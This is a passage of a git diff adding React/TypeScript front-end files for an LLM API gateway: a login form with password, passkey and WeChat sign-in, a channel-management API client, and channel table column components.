+import { useEffect, useMemo, useState } from 'react'
+import type { z } from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { Link } from '@tanstack/react-router'
+import { Loader2, LogIn, KeyRound } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import {
+  buildAssertionResult,
+  prepareCredentialRequestOptions,
+  isPasskeySupported as detectPasskeySupport,
+} from '@/lib/passkey'
+import { cn } from '@/lib/utils'
+import { useStatus } from '@/hooks/use-status'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { PasswordInput } from '@/components/password-input'
+import { Turnstile } from '@/components/turnstile'
+import { login, wechatLoginByCode } from '@/features/auth/api'
+import { LegalConsent } from '@/features/auth/components/legal-consent'
+import { OAuthProviders } from '@/features/auth/components/oauth-providers'
+import { loginFormSchema } from '@/features/auth/constants'
+import { useAuthRedirect } from '@/features/auth/hooks/use-auth-redirect'
+import { useTurnstile } from '@/features/auth/hooks/use-turnstile'
+import { beginPasskeyLogin, finishPasskeyLogin } from '@/features/auth/passkey'
+import type { AuthFormProps } from '@/features/auth/types'
+
+export function UserAuthForm({
+  className,
+  redirectTo,
+  ...props
+}: AuthFormProps) {
+  const { t } = useTranslation()
+  const [isLoading, setIsLoading] = useState(false)
+  const [wechatCode, setWeChatCode] = useState('')
+  const [agreedToLegal, setAgreedToLegal] = useState(false)
+  const [passkeySupported, setPasskeySupported] = useState(false)
+  const [isPasskeyLoading, setIsPasskeyLoading] = useState(false)
+  const [isWeChatDialogOpen, setIsWeChatDialogOpen] = useState(false)
+  const [isWeChatSubmitting, setIsWeChatSubmitting] = useState(false)
+  const legalConsentErrorMessage = t('Please agree to the legal terms first')
+  const loginFailedMessage = t('Login failed')
+
+  const { status } = useStatus()
+  const passkeyLoginEnabled = Boolean(
+    status?.passkey_login ?? status?.data?.passkey_login
+  )
+  const {
+    isTurnstileEnabled,
+    turnstileSiteKey,
+    turnstileToken,
+    setTurnstileToken,
+    validateTurnstile,
+  } = useTurnstile()
+  const { handleLoginSuccess, redirectTo2FA } = useAuthRedirect()
+
+  const hasUserAgreement = Boolean(status?.user_agreement_enabled)
+  const hasPrivacyPolicy = Boolean(status?.privacy_policy_enabled)
+  const requiresLegalConsent = hasUserAgreement || hasPrivacyPolicy
+  const passkeyButtonDisabled =
+    isPasskeyLoading ||
+    !passkeySupported ||
+    (requiresLegalConsent && !agreedToLegal)
+  const hasWeChatLogin = Boolean(status?.wechat_login)
+
+  useEffect(() => {
+    if (requiresLegalConsent) {
+      setAgreedToLegal(false)
+    } else {
+      setAgreedToLegal(true)
+    }
+  }, [requiresLegalConsent])
+
+  useEffect(() => {
+    detectPasskeySupport()
+      .then(setPasskeySupported)
+      .catch(() => setPasskeySupported(false))
+  }, [])
+
+  const form = useForm<z.infer<typeof loginFormSchema>>({
+    resolver: zodResolver(loginFormSchema),
+    defaultValues: {
+      username: '',
+      password: '',
+    },
+  })
+
+  const wechatQrCodeUrl = useMemo(() => {
+    return (
+      status?.wechat_qrcode ||
+      status?.wechat_qr_code ||
+      status?.wechat_qrcode_image_url ||
+      status?.wechat_qr_code_image_url ||
+      status?.wechat_account_qrcode_image_url ||
+      status?.WeChatAccountQRCodeImageURL ||
+      status?.data?.wechat_qrcode ||
+      status?.data?.WeChatAccountQRCodeImageURL ||
+      ''
+    )
+  }, [status])
+
+  async function onSubmit(data: z.infer<typeof loginFormSchema>) {
+    if (requiresLegalConsent && !agreedToLegal) {
+      toast.error(legalConsentErrorMessage)
+      return
+    }
+
+    if (!validateTurnstile()) return
+
+    setIsLoading(true)
+    try {
+      const res = await login({
+        username: data.username,
+        password: data.password,
+        turnstile: turnstileToken,
+      })
+
+      if (res.success) {
+        if (res.data?.require_2fa) {
+          redirectTo2FA()
+          return
+        }
+
+        await handleLoginSuccess(res.data as { id?: number } | null, redirectTo)
+        toast.success(t('Welcome back!'))
+      }
+    } catch (_error) {
+      // Errors are handled by global interceptor
+    } finally {
+      setIsLoading(false)
+    }
+  }
+
+  const handleOpenWeChatDialog = () => {
+    if (requiresLegalConsent && !agreedToLegal) {
+      toast.error(legalConsentErrorMessage)
+      return
+    }
+
+    setIsWeChatDialogOpen(true)
+  }
+
+  const handleWeChatDialogChange = (open: boolean) => {
+    setIsWeChatDialogOpen(open)
+    if (!open) {
+      setWeChatCode('')
+      setIsWeChatSubmitting(false)
+    }
+  }
+
+  async function handleWeChatLogin() {
+    if (!wechatCode.trim()) {
+      toast.error(t('Please enter the verification code'))
+      return
+    }
+
+    setIsWeChatSubmitting(true)
+    try {
+      const res = await wechatLoginByCode(wechatCode)
+      if (res?.success) {
+        await handleLoginSuccess(res.data as { id?: number } | null, redirectTo)
+        toast.success(t('Signed in via WeChat'))
+        handleWeChatDialogChange(false)
+      } else {
+        toast.error(res?.message || loginFailedMessage)
+      }
+    } catch (_error) {
+      toast.error(loginFailedMessage)
+    } finally {
+      setIsWeChatSubmitting(false)
+    }
+  }
+
+  async function handlePasskeyLogin() {
+    if (requiresLegalConsent && !agreedToLegal) {
+      toast.error(legalConsentErrorMessage)
+      return
+    }
+
+    if (!passkeySupported) {
+      toast.error(t('Passkey is not supported on this device'))
+      return
+    }
+
+    if (!navigator?.credentials) {
+      toast.error(t('Passkey is not available in this browser'))
+      return
+    }
+
+    setIsPasskeyLoading(true)
+    try {
+      const begin = await beginPasskeyLogin()
+      if (!begin.success) {
+        throw new Error(begin.message || t('Failed to start Passkey login'))
+      }
+
+      const publicKey = prepareCredentialRequestOptions(
+        begin.data?.options ?? begin.data
+      )
+
+      const credential = (await navigator.credentials.get({
+        publicKey,
+      })) as PublicKeyCredential | null
+
+      if (!credential) {
+        toast.info(t('Passkey login was cancelled'))
+        return
+      }
+
+      const assertion = buildAssertionResult(credential)
+      if (!assertion) {
+        throw new Error(t('Invalid Passkey response'))
+      }
+
+      const finish = await finishPasskeyLogin(assertion)
+      if (!finish.success) {
+        throw new Error(finish.message || t('Failed to complete Passkey login'))
+      }
+
+      if (!finish.data) {
+        throw new Error(t('Missing user data from Passkey login response'))
+      }
+
+      await handleLoginSuccess(
+        finish.data as { id?: number } | null,
+        redirectTo
+      )
+      toast.success(t('Signed in with Passkey'))
+    } catch (error: unknown) {
+      if (error instanceof DOMException && error.name === 'NotAllowedError') {
+        toast.info(t('Passkey login was cancelled or timed out'))
+      } else if (error instanceof Error) {
+        toast.error(error.message)
+      } else {
+        toast.error(t('Passkey login failed'))
+      }
+    } finally {
+      setIsPasskeyLoading(false)
+    }
+  }
+
+  return (
+    <Form {...form}>
+      <form
+        onSubmit={form.handleSubmit(onSubmit)}
+        className={cn('grid gap-4', className)}
+        {...props}
+      >
+        {/* Username Field */}
+        <FormField
+          control={form.control}
+          name='username'
+          render={({ field }) => (
+            <FormItem>
+              <FormLabel>{t('Username or Email')}</FormLabel>
+              <FormControl>
+                <Input
+                  placeholder={t('Enter your username or email')}
+                  {...field}
+                />
+              </FormControl>
+              <FormMessage />
+            </FormItem>
+          )}
+        />
+
+        {/* Password Field */}
+        <FormField
+          control={form.control}
+          name='password'
+          render={({ field }) => (
+            <FormItem className='relative'>
+              <FormLabel>{t('Password')}</FormLabel>
+              <FormControl>
+                <PasswordInput placeholder={t('Enter password')} {...field} />
+              </FormControl>
+              <FormMessage />
+              <Link
+                to='/forgot-password'
+                className='text-muted-foreground absolute end-0 -top-0.5 text-sm font-medium hover:opacity-75'
+              >
+                {t('Forgot password?')}
+              </Link>
+            </FormItem>
+          )}
+        />
+
+        {/* Submit Button */}
+        <Button
+          className='mt-2 w-full justify-center gap-2'
+          disabled={isLoading || (requiresLegalConsent && !agreedToLegal)}
+        >
+          {isLoading ? <Loader2 className='animate-spin' /> : <LogIn />}
+          {t('Sign in')}
+        </Button>
+
+        {/* Turnstile */}
+        {isTurnstileEnabled && (
+          <div className='mt-2'>
+            <Turnstile
+              siteKey={turnstileSiteKey}
+              onVerify={setTurnstileToken}
+            />
+          </div>
+        )}
+
+        <LegalConsent
+          status={status}
+          checked={agreedToLegal}
+          onCheckedChange={setAgreedToLegal}
+          className='mt-1'
+        />
+
+        {passkeyLoginEnabled && (
+          <div className='mt-2 space-y-1'>
+            <Button
+              type='button'
+              variant='outline'
+              disabled={passkeyButtonDisabled}
+              onClick={handlePasskeyLogin}
+              className='h-11 w-full justify-center gap-2 rounded-lg'
+            >
+              {isPasskeyLoading ? (
+                <Loader2 className='h-4 w-4 animate-spin' />
+              ) : (
+                <KeyRound className='h-4 w-4' />
+              )}
+              {t('Sign in with Passkey')}
+            </Button>
+            {!passkeySupported && (
+              <p className='text-muted-foreground text-xs'>
+                {t('Passkey is not supported on this device.')}
+              </p>
+            )}
+          </div>
+        )}
+
+        {/* OAuth Providers */}
+        <OAuthProviders
+          status={status}
+          disabled={isLoading || (requiresLegalConsent && !agreedToLegal)}
+          onWeChatLogin={hasWeChatLogin ? handleOpenWeChatDialog : undefined}
+          isWeChatLoading={isWeChatSubmitting}
+        />
+      </form>
+
+      {hasWeChatLogin && (
+        <Dialog
+          open={isWeChatDialogOpen}
+          onOpenChange={handleWeChatDialogChange}
+        >
+          <DialogContent className='max-w-sm'>
+            <DialogHeader className='text-left'>
+              <DialogTitle>{t('WeChat sign in')}</DialogTitle>
+              <DialogDescription>
+                {t(
+                  'Scan the QR code to follow the official account and reply with “验证码” to receive your verification code.'
+                )}
+              </DialogDescription>
+            </DialogHeader>
+
+            {wechatQrCodeUrl ? (
+              <div className='flex justify-center'>
+                <img
+                  src={wechatQrCodeUrl}
+                  alt={t('WeChat login QR code')}
+                  className='h-40 w-40 rounded-md border object-contain'
+                />
+              </div>
+            ) : (
+              <p className='text-muted-foreground text-sm'>
+                {t('QR code is not configured. Please contact support.')}
+              </p>
+            )}
+
+            <div className='grid gap-2'>
+              <Label htmlFor='wechat-code'>{t('Verification code')}</Label>
+              <Input
+                id='wechat-code'
+                placeholder={t('Enter the verification code')}
+                value={wechatCode}
+                onChange={(event) => setWeChatCode(event.target.value)}
+                autoComplete='one-time-code'
+              />
+            </div>
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => handleWeChatDialogChange(false)}
+                disabled={isWeChatSubmitting}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button
+                type='button'
+                onClick={handleWeChatLogin}
+                disabled={
+                  isWeChatSubmitting ||
+                  !wechatCode.trim() ||
+                  (requiresLegalConsent && !agreedToLegal)
+                }
+                className='gap-2'
+              >
+                {isWeChatSubmitting ? (
+                  <Loader2 className='h-4 w-4 animate-spin' />
+                ) : null}
+                {t('Confirm')}
+              </Button>
+            </DialogFooter>
+          </DialogContent>
+        </Dialog>
+      )}
+    </Form>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/api.ts b/new-api/web/default/src/features/channels/api.ts
new file mode 100644
index 0000000..af58d34
--- /dev/null
+++ b/new-api/web/default/src/features/channels/api.ts
@@ -0,0 +1,548 @@
+import type { AxiosRequestConfig } from 'axios'
+import { api } from '@/lib/api'
+import { getGroups as getUserGroups } from '@/features/users/api'
+import type {
+  AddChannelRequest,
+  BatchDeleteParams,
+  BatchSetTagParams,
+  Channel,
+  ChannelBalanceResponse,
+  ChannelTestResponse,
+  CopyChannelParams,
+  CopyChannelResponse,
+  FetchModelsResponse,
+  GetChannelResponse,
+  GetChannelsParams,
+  GetChannelsResponse,
+  MultiKeyManageParams,
+  MultiKeyStatusResponse,
+  SearchChannelsParams,
+  SearchChannelsResponse,
+  TagOperationParams,
+} from './types'
+
+// Extended API config types
+interface ExtendedApiConfig extends AxiosRequestConfig {
+  skipBusinessError?: boolean
+  disableDuplicate?: boolean
+}
+
+export type CodexOAuthStartResponse = {
+  success: boolean
+  message?: string
+  data?: {
+    authorize_url?: string
+  }
+}
+
+export type CodexOAuthCompleteResponse = {
+  success: boolean
+  message?: string
+  data?: {
+    key?: string
+    account_id?: string
+    email?: string
+    expires_at?: string
+    last_refresh?: string
+  }
+}
+
+export type CodexUsageResponse = {
+  success: boolean
+  message?: string
+  upstream_status?: number
+  data?: Record<string, unknown>
+}
+
+export type CodexCredentialRefreshResponse = {
+  success: boolean
+  message?: string
+  data?: {
+    expires_at?: string
+    last_refresh?: string
+    account_id?: string
+    email?: string
+    channel_id?: number
+    channel_type?: number
+    channel_name?: string
+  }
+}
+
+// ============================================================================
+// Base Channel CRUD Operations
+// ============================================================================
+
+/**
+ * Get paginated list of channels
+ */
+export async function getChannels(
+  params: GetChannelsParams = {}
+): Promise<GetChannelsResponse> {
+  const res = await api.get('/api/channel', { params })
+  return res.data
+}
+
+/**
+ * Search channels with filters
+ */
+export async function searchChannels(
+  params: SearchChannelsParams
+): Promise<SearchChannelsResponse> {
+  const res = await api.get('/api/channel/search', { params })
+  return res.data
+}
+
+/**
+ * Get single channel by ID
+ */
+export async function getChannel(id: number): Promise<GetChannelResponse> {
+  const res = await api.get(`/api/channel/${id}`)
+  return res.data
+}
+
+/**
+ * Create new channel(s)
+ * Supports single, batch, and multi-key modes
+ */
+export async function createChannel(
+  data: AddChannelRequest
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.post('/api/channel', data)
+  return res.data
+}
+
+/**
+ * Update existing channel
+ */
+export async function updateChannel(
+  id: number,
+  data: Partial<Channel>
+): Promise<{ success: boolean; message?: string; data?: Channel }> {
+  const res = await api.put('/api/channel/', { id, ...data })
+  return res.data
+}
+
+/**
+ * Delete single channel
+ */
+export async function deleteChannel(
+  id: number
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.delete(`/api/channel/${id}`)
+  return res.data
+}
+
+/**
+ * Batch delete channels
+ */
+export async function batchDeleteChannels(
+  data: BatchDeleteParams
+): Promise<{ success: boolean; message?: string; data?: number }> {
+  const res = await api.post('/api/channel/batch', data)
+  return res.data
+}
+
+/**
+ * Batch set tag for channels
+ */
+export async function batchSetChannelTag(
+  data: BatchSetTagParams
+): Promise<{ success: boolean; message?: string; data?: number }> {
+  const res = await api.post('/api/channel/batch/tag', data)
+  return res.data
+}
+
+// ============================================================================
+// Channel Operations
+// ============================================================================
+
+/**
+ * Test channel connectivity
+ */
+export async function testChannel(
+  id: number,
+  params?: { model?: string; endpoint_type?: string; stream?: boolean }
+): Promise<ChannelTestResponse> {
+  const res = await api.get(`/api/channel/test/${id}`, { params })
+  return res.data
+}
+
+/**
+ * Update channel balance
+ */
+export async function updateChannelBalance(
+  id: number
+): Promise<ChannelBalanceResponse> {
+  const res = await api.get(`/api/channel/update_balance/${id}`)
+  return res.data
+}
+
+/**
+ * Fetch available models from upstream provider
+ */
+export async function fetchUpstreamModels(
+  id: number
+): Promise<FetchModelsResponse> {
+  const res = await api.get(`/api/channel/fetch_models/${id}`)
+  return res.data
+}
+
+/**
+ * Copy/clone a channel
+ */
+export async function copyChannel(
+  id: number,
+  params: CopyChannelParams = {}
+): Promise<CopyChannelResponse> {
+  const res = await api.post(`/api/channel/copy/${id}`, null, { params })
+  return res.data
+}
+
+/**
+ * Fix channel abilities
+ */
+export async function fixChannelAbilities(): Promise<{
+  success: boolean
+  message?: string
+  data?: { success: number; fails: number }
+}> {
+  const res = await api.post('/api/channel/fix')
+  return res.data
+}
+
+/**
+ * Delete all disabled channels
+ */
+export async function deleteDisabledChannels(): Promise<{
+  success: boolean
+  message?: string
+  data?: number
+}> {
+  const res = await api.delete('/api/channel/disabled')
+  return res.data
+}
+
+/**
+ * Get channel key (requires 2FA verification)
+ */
+export async function getChannelKey(
+  id: number,
+  code?: string
+): Promise<{ success: boolean; message?: string; data?: { key: string } }> {
+  const payload = code ? { code } : undefined
+  const res = await api.post(`/api/channel/${id}/key`, payload)
+  return res.data
+}
+
+// ============================================================================
+// Codex Channel Operations
+// ============================================================================
+
+export async function startCodexOAuth(): Promise<CodexOAuthStartResponse> {
+  const config: ExtendedApiConfig = { skipBusinessError: true }
+  const res = await api.post('/api/channel/codex/oauth/start', {}, config)
+  return res.data
+}
+
+export async function completeCodexOAuth(
+  input: string
+): Promise<CodexOAuthCompleteResponse> {
+  const config: ExtendedApiConfig = { skipBusinessError: true }
+  const res = await api.post(
+    '/api/channel/codex/oauth/complete',
+    { input },
+    config
+  )
+  return res.data
+}
+
+export async function refreshCodexCredential(
+  channelId: number
+): Promise<CodexCredentialRefreshResponse> {
+  const config: ExtendedApiConfig = { skipBusinessError: true }
+  const res = await api.post(
+    `/api/channel/${channelId}/codex/refresh`,
+    {},
+    config
+  )
+  return res.data
+}
+
+export async function getCodexUsage(
+  channelId: number
+): Promise<CodexUsageResponse> {
+  const config: ExtendedApiConfig = {
+    skipBusinessError: true,
+    disableDuplicate: true,
+  }
+  const res = await api.get(`/api/channel/${channelId}/codex/usage`, config)
+  return res.data
+}
+
+// ============================================================================
+// Multi-Key Management
+// ============================================================================
+
+/**
+ * Manage multi-key channel operations
+ */
+export async function manageMultiKeys(
+  params: MultiKeyManageParams
+): Promise<MultiKeyStatusResponse | { success: boolean; message?: string }> {
+  const res = await api.post('/api/channel/multi_key/manage', params)
+  return res.data
+}
+
+/**
+ * Get key status for multi-key channel
+ */
+export async function getMultiKeyStatus(
+  channelId: number,
+  page = 1,
+  pageSize = 50,
+  status?: number
+): Promise<MultiKeyStatusResponse> {
+  return manageMultiKeys({
+    channel_id: channelId,
+    action: 'get_key_status',
+    page,
+    page_size: pageSize,
+    status,
+  }) as Promise<MultiKeyStatusResponse>
+}
+
+/**
+ * Enable a specific key in multi-key channel
+ */
+export async function enableMultiKey(
+  channelId: number,
+  keyIndex: number
+): Promise<{ success: boolean; message?: string }> {
+  return manageMultiKeys({
+    channel_id: channelId,
+    action: 'enable_key',
+    key_index: keyIndex,
+  }) as Promise<{ success: boolean; message?: string }>
+}
+
+/**
+ * Disable a specific key in multi-key channel
+ */
+export async function disableMultiKey(
+  channelId: number,
+  keyIndex: number
+): Promise<{ success: boolean; message?: string }> {
+  return manageMultiKeys({
+    channel_id: channelId,
+    action: 'disable_key',
+    key_index: keyIndex,
+  }) as Promise<{ success: boolean; message?: string }>
+}
+
+/**
+ * Delete a specific key in multi-key channel
+ */
+export async function deleteMultiKey(
+  channelId: number,
+  keyIndex: number
+): Promise<{ success: boolean; message?: string }> {
+  return manageMultiKeys({
+    channel_id: channelId,
+    action: 'delete_key',
+    key_index: keyIndex,
+  }) as Promise<{ success: boolean; message?: string }>
+}
+
+/**
+ * Enable all keys in multi-key channel
+ */
+export async function enableAllMultiKeys(
+  channelId: number
+): Promise<{ success: boolean; message?: string }> {
+  return manageMultiKeys({
+    channel_id: channelId,
+    action: 'enable_all_keys',
+  }) as Promise<{ success: boolean; message?: string }>
+}
+
+/**
+ * Disable all keys in multi-key channel
+ */
+export async function disableAllMultiKeys(
+  channelId: number
+): Promise<{ success: boolean; message?: string }> {
+  return manageMultiKeys({
+    channel_id: channelId,
+    action: 'disable_all_keys',
+  }) as Promise<{ success: boolean; message?: string }>
+}
+
+/**
+ * Delete all disabled keys in multi-key channel
+ */
+export async function deleteDisabledMultiKeys(
+  channelId: number
+): Promise<{ success: boolean; message?: string; data?: number }> {
+  return manageMultiKeys({
+    channel_id: channelId,
+    action: 'delete_disabled_keys',
+  }) as Promise<{ success: boolean; message?: string; data?: number }>
+}
+
+// ============================================================================
+// Tag Operations
+// ============================================================================
+
+/**
+ * Enable all channels with a specific tag
+ */
+export async function enableTagChannels(
+  tag: string
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.post('/api/channel/tag/enabled', { tag })
+  return res.data
+}
+
+/**
+ * Disable all channels with a specific tag
+ */
+export async function disableTagChannels(
+  tag: string
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.post('/api/channel/tag/disabled', { tag })
+  return res.data
+}
+
+/**
+ * Edit all channels with a specific tag
+ */
+export async function editTagChannels(
+  params: TagOperationParams
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.put('/api/channel/tag', params)
+  return res.data
+}
+
+/**
+ * Get models for a specific tag
+ */
+export async function getTagModels(
+  tag: string
+): Promise<{ success: boolean; message?: string; data?: string }> {
+  const res = await api.get('/api/channel/tag/models', { params: { tag } })
+  return res.data
+}
+
+// ============================================================================
+// Utility Functions
+// ============================================================================
+
+/**
+ * Fetch models from a custom endpoint (for testing before creating channel)
+ */
+export async function fetchModels(data: {
+  base_url: string
+  type: number
+  key: string
+}): Promise<FetchModelsResponse> {
+  const res = await api.post('/api/channel/fetch_models', data)
+  return res.data
+}
+
+/**
+ * Delete an Ollama model from a channel
+ */
+export async function deleteOllamaModel(params: {
+  channel_id: number
+  model_name: string
+}): Promise<{ success: boolean; message?: string }> {
+  const res = await api.delete('/api/channel/ollama/delete', { data: params })
+  return res.data
+}
+
+/**
+ * Test all enabled channels
+ */
+export async function testAllChannels(): Promise<{
+  success: boolean
+  message?: string
+}> {
+  const res = await api.get('/api/channel/test')
+  return res.data
+}
+
+/**
+ * Update balance for all enabled channels
+ */
+export async function updateAllChannelsBalance(): Promise<{
+  success: boolean
+  message?: string
+}> {
+  const res = await api.get('/api/channel/update_balance')
+  return res.data
+}
+
+/**
+ * Get all available models
+ */
+export async function getAllModels(): Promise<{
+  success: boolean
+  message?: string
+  data?: Array<{ id: string; [key: string]: unknown }>
+}> {
+  const res = await api.get('/api/channel/models')
+  return res.data
+}
+
+/**
+ * Get all enabled models
+ */
+export async function getEnabledModels(): Promise<{
+  success: boolean
+  message?: string
+  data?: string[]
+}> {
+  const res = await api.get('/api/channel/models_enabled')
+  return res.data
+}
+
+// ============================================================================
+// Ollama Utilities
+// ============================================================================
+
+/**
+ * Check Ollama version for a given channel
+ */
+export async function getOllamaVersion(
+  channelId: number
+): Promise<{ success: boolean; message?: string; data?: { version: string } }> {
+  const res = await api.get(`/api/channel/ollama/version/${channelId}`)
+  return res.data
+}
+
+// ============================================================================
+// Group Management
+// ============================================================================
+
+/**
+ * Get all available groups (re-exported from users API for convenience)
+ */
+export const getGroups = getUserGroups
+
+// ============================================================================
+// Prefill Groups (Model Groups)
+// ============================================================================
+
+/**
+ * Get prefill groups for quick model selection
+ */
+export async function getPrefillGroups(
+  type: 'model' | 'group' = 'model'
+): Promise<{
+  success: boolean
+  message?: string
+  data?: Array<{ id: number; name: string; items: string | string[] }>
+}> {
+  const res = await api.get('/api/prefill_group', { params: { type } })
+  return res.data
+}
diff --git a/new-api/web/default/src/features/channels/components/channels-columns.tsx b/new-api/web/default/src/features/channels/components/channels-columns.tsx
new file mode 100644
index 0000000..c78b6a6
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/channels-columns.tsx
@@ -0,0 +1,1043 @@
+/* eslint-disable react-refresh/only-export-components */
+import { useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { type ColumnDef } from '@tanstack/react-table'
+import {
+  AlertTriangle,
+  ChevronDown,
+  ChevronRight,
+  ListOrdered,
+  Shuffle,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { getCurrencyLabel } from '@/lib/currency'
+import {
+  formatTimestampToDate,
+  formatQuota as formatQuotaValue,
+} from '@/lib/format'
+import { getLobeIcon } from '@/lib/lobe-icon'
+import { cn, truncateText } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { DataTableColumnHeader } from '@/components/data-table/column-header'
+import {
+  StatusBadge,
+  dotColorMap,
+  textColorMap,
+} from '@/components/status-badge'
+import { getCodexUsage } from '../api'
+import { CHANNEL_STATUS_CONFIG, MODEL_FETCHABLE_TYPES } from '../constants'
+import {
+  formatBalance,
+  formatRelativeTime,
+  formatResponseTime,
+  getBalanceVariant,
+  getChannelTypeIcon,
+  getChannelTypeLabel,
+  getResponseTimeConfig,
+  isMultiKeyChannel,
+  parseModelsList,
+  parseGroupsList,
+  parseChannelSettings,
+  handleUpdateChannelField,
+  handleUpdateTagField,
+  handleUpdateChannelBalance,
+  isTagAggregateRow,
+  type TagRow,
+} from '../lib'
+import { parseUpstreamUpdateMeta } from '../lib/upstream-update-utils'
+import type { Channel } from '../types'
+import { useChannels } from './channels-provider'
+import { DataTableRowActions } from './data-table-row-actions'
+import { DataTableTagRowActions } from './data-table-tag-row-actions'
+import {
+  CodexUsageDialog,
+  type CodexUsageDialogData,
+} from './dialogs/codex-usage-dialog'
+import { NumericSpinnerInput } from './numeric-spinner-input'
+
+function parseIonetMeta(otherInfo: string | null | undefined): null | {
+  source?: string
+  deployment_id?: string
+} {
+  if (!otherInfo) return null
+  try {
+    const parsed = JSON.parse(otherInfo)
+    if (parsed && typeof parsed === 'object') {
+      return parsed
+    }
+  } catch {
+    return null
+  }
+  return null
+}
+
+/**
+ * Render limited items with "and X more" indicator
+ */
+function renderLimitedItems(
+  items: React.ReactNode[],
+  maxDisplay: number = 2
+): React.ReactNode {
+  if (items.length === 0)
+    return <span className='text-muted-foreground text-xs'>-</span>
+
+  const displayed = items.slice(0, maxDisplay)
+  const remaining = items.length - maxDisplay
+
+  return (
+    <div className='flex max-w-full items-center gap-1 overflow-hidden'>
+      {displayed}
+      {remaining > 0 && (
+        <StatusBadge
+          label={`+${remaining}`}
+          variant='neutral'
+          size='sm'
+          copyable={false}
+          className='flex-shrink-0'
+        />
+      )}
+    </div>
+  )
+}
+
+/**
+ * Upstream update tags (+N / -N) shown on channel name for model-fetchable channels
+ */
+function UpstreamUpdateTags({ channel }: { channel: Channel }) {
+  const { upstream, setCurrentRow } = useChannels()
+  if (!MODEL_FETCHABLE_TYPES.has(channel.type)) return null
+
+  const meta = parseUpstreamUpdateMeta(channel.settings)
+  if (!meta.enabled) return null
+
+  const addCount = meta.pendingAddModels.length
+  const removeCount = meta.pendingRemoveModels.length
+  if (addCount === 0 && removeCount === 0) return null
+
+  return (
+    <div className='flex items-center gap-0.5'>
+      {addCount > 0 && (
+        <StatusBadge
+          label={`+${addCount}`}
+          variant='success'
+          size='sm'
+          copyable={false}
+          className='cursor-pointer'
+          onClick={(e: React.MouseEvent) => {
+            e.stopPropagation()
+            setCurrentRow(channel)
+            upstream.openModal(
+              channel,
+              meta.pendingAddModels,
+              meta.pendingRemoveModels,
+              'add'
+            )
+          }}
+        />
+      )}
+      {removeCount > 0 && (
+        <StatusBadge
+          label={`-${removeCount}`}
+          variant='danger'
+          size='sm'
+          copyable={false}
+          className='cursor-pointer'
+          onClick={(e: React.MouseEvent) => {
+            e.stopPropagation()
+            setCurrentRow(channel)
+            upstream.openModal(
+              channel,
+              meta.pendingAddModels,
+              meta.pendingRemoveModels,
+              'remove'
+            )
+          }}
+        />
+      )}
+    </div>
+  )
+}
+
+/**
+ * Priority cell component with inline editing
+ */
+function PriorityCell({ channel }: { channel: Channel }) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isTagRow = isTagAggregateRow(channel)
+  const priority = channel.priority
+  const [confirmOpen, setConfirmOpen] = useState(false)
+  const [pendingValue, setPendingValue] = useState<number | null>(null)
+
+  // Tag row - editable with confirmation for all tag channels
+  if (isTagRow) {
+    const tag = channel.tag || ''
+    const channelCount = channel.children?.length || 0
+
+    return (
+      <>
+        <NumericSpinnerInput
+          value={priority ?? 0}
+          onChange={(value) => {
+            setPendingValue(value)
+            setConfirmOpen(true)
+          }}
+          min={-999}
+        />
+        <ConfirmDialog
+          open={confirmOpen}
+          onOpenChange={setConfirmOpen}
+          title={t('Confirm Batch Update')}
+          desc={`This will update the priority to ${pendingValue} for all ${channelCount} channel(s) with tag "${tag}". Continue?`}
+          confirmText='Update'
+          handleConfirm={() => {
+            if (pendingValue !== null) {
+              handleUpdateTagField(tag, 'priority', pendingValue, queryClient)
+            }
+            setConfirmOpen(false)
+          }}
+        />
+      </>
+    )
+  }
+
+  // Regular channel row - editable
+  return (
+    <NumericSpinnerInput
+      value={priority ?? 0}
+      onChange={(value) => {
+        handleUpdateChannelField(channel.id, 'priority', value, queryClient)
+      }}
+      min={-999}
+    />
+  )
+}
+
+/**
+ * Weight cell component with inline editing
+ */
+function WeightCell({ channel }: { channel: Channel }) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isTagRow = isTagAggregateRow(channel)
+  const weight = channel.weight
+  const [confirmOpen, setConfirmOpen] = useState(false)
+  const [pendingValue, setPendingValue] = useState<number | null>(null)
+
+  // Tag row - editable with confirmation for all tag channels
+  if (isTagRow) {
+    const tag = channel.tag || ''
+    const channelCount = channel.children?.length || 0
+
+    return (
+      <>
+        <NumericSpinnerInput
+          value={weight ?? 0}
+          onChange={(value) => {
+            setPendingValue(value)
+            setConfirmOpen(true)
+          }}
+          min={0}
+        />
+        <ConfirmDialog
+          open={confirmOpen}
+          onOpenChange={setConfirmOpen}
+          title={t('Confirm Batch Update')}
+          desc={`This will update the weight to ${pendingValue} for all ${channelCount} channel(s) with tag "${tag}". Continue?`}
+          confirmText='Update'
+          handleConfirm={() => {
+            if (pendingValue !== null) {
+              handleUpdateTagField(tag, 'weight', pendingValue, queryClient)
+            }
+            setConfirmOpen(false)
+          }}
+        />
+      </>
+    )
+  }
+
+  // Regular channel row - editable
+  return (
+    <NumericSpinnerInput
+      value={weight ?? 0}
+      onChange={(value) => {
+        handleUpdateChannelField(channel.id, 'weight', value, queryClient)
+      }}
+      min={0}
+    />
+  )
+}
+
